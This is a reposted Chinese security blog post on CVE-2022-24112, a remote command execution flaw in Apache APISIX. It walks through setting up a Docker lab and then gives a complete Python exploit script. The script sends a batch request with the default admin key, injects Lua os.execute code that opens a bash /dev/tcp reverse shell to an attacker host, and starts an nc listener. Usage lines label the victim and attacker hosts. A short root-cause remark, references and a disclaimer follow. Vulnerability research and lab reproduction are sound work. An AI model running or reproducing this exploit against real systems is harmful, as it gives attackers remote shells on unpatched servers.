我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间的东西向流量。同时，它也支持作为 K8s Ingress Controller 来使用，其主要架构如下
git clone https://github.com/twseptian/cve-2022-24112切换目录：
cd cve-2022-24112/apisix-docker/example/修改配置，加上Apache APISIX 数据面板的 IP 限制：
修改apisix_conf/config.yaml
docker-compose -p docker-apisix up -d测试访问：
访问http://IP:9000端口，如果显示页面说明环境搭建成功
#!/usr/bin/python3
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: Kali Linux
# CVE : CVE-2022-24112
import requests
import sys
import subprocess
import shlex
import argparse
class Interface ():
def __init__ (self):
self.red = '33[91m'
self.green = '33[92m'
self.white = '33[37m'
self.yellow = '33[93m'
self.bold = '33[1m'
self.end = '33[0m'
def header(self):
print('n >> Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
print(' >> by twseptiann')
def info (self, message):
print(f"[{self.white}*{self.end}] {message}")
def warning (self, message):
print(f"[{self.yellow}!{self.end}] {message}")
def error (self, message):
print(f"[{self.red}x{self.end}] {message}")
def success (self, message):
print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")
# Instantiate our interface class
global output
output = Interface()
output.header()
class Exploit:
def __init__(self, target_ip, target_port, localhost,localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport
def get_rce(self):
headers1 = {
'Host': '{}:8080'.format(target_ip),
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Content-Length': '540','Connection': 'close',
}
headers2 = {
'Host': '{}:8080'.format(target_ip),
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Connection': 'close',
}
json_data = {
'headers': {
'X-Real-IP': '{}:8080'.format(target_ip),
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Content-Type': 'application/json',
},
'timeout': 1500,
'pipeline': [
{
'path': '/apisix/admin/routes/index','method': 'PUT',
'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute('bash -c \\\"0<&160-;exec 160<>/dev/tcp/'+localhost+'/'+localport+';/bin/sh <&160 >&160 2>&160\\\"'); return true end"}',
},
],
}
output.warning("Take RCEn")
response1 = requests.post('http://'+target_ip+':'+target_port+'/apisix/batch-requests', headers=headers1, json=json_data, verify=False)
listener = "nc -nvlp {}".format(localport)
cmnd = shlex.split(listener)
subprocess.Popen(cmnd)
response2 = requests.get('http://'+target_ip+':'+target_port+'/rms/fzxewh', headers=headers2, verify=False)
def get_args():
parser = argparse.ArgumentParser(description='Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
parser.add_argument('-t', '--rhost', dest="target_ip", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--rport', dest="target_port", required=True, action='store', help='Target Port')
parser.add_argument('-L', '--lhost', dest="localhost", required=True, action='store', help='Localhost/Local IP')
parser.add_argument('-P', '--lport', dest="localport", required=True, action='store', help='Localport')
args = parser.parse_args()
return args
try:
args = get_args()
target_ip = args.target_ip
target_port = args.target_port
localhost = args.localhost
localport = args.localport
exp = Exploit(target_ip, target_port, localhost, localport)
exp.get_rce()
except KeyboardInterrupt:
pass
filter_func()执行其中的lua代码python3 exp.py -t 受害者主机 -p 服务运行的端口 -L 攻击者主机 -P 接受反弹Shell的端口
filter_func()函数中，调用了lua的系统目录执行语句os.execute()进行反弹shell
real_ip_hdr后，将其转换为小写格式core.request.get_remote_client_ip()的值能够覆盖data传入的可控参数参考链接：
https://mp.weixin.qq.com/s/rfN_BtCuwVCS90jwCoA48g
https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112
https://nvd.nist.gov/vuln/detail/CVE-2022-24112
https://paper.seebug.org/1984
历史漏洞：
CVE-2021-45232：Apache APISIX Dashboard RCE
原文始发于微信公众号（Timeline Sec）：CVE-2022-24112：Apache APISIX 命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论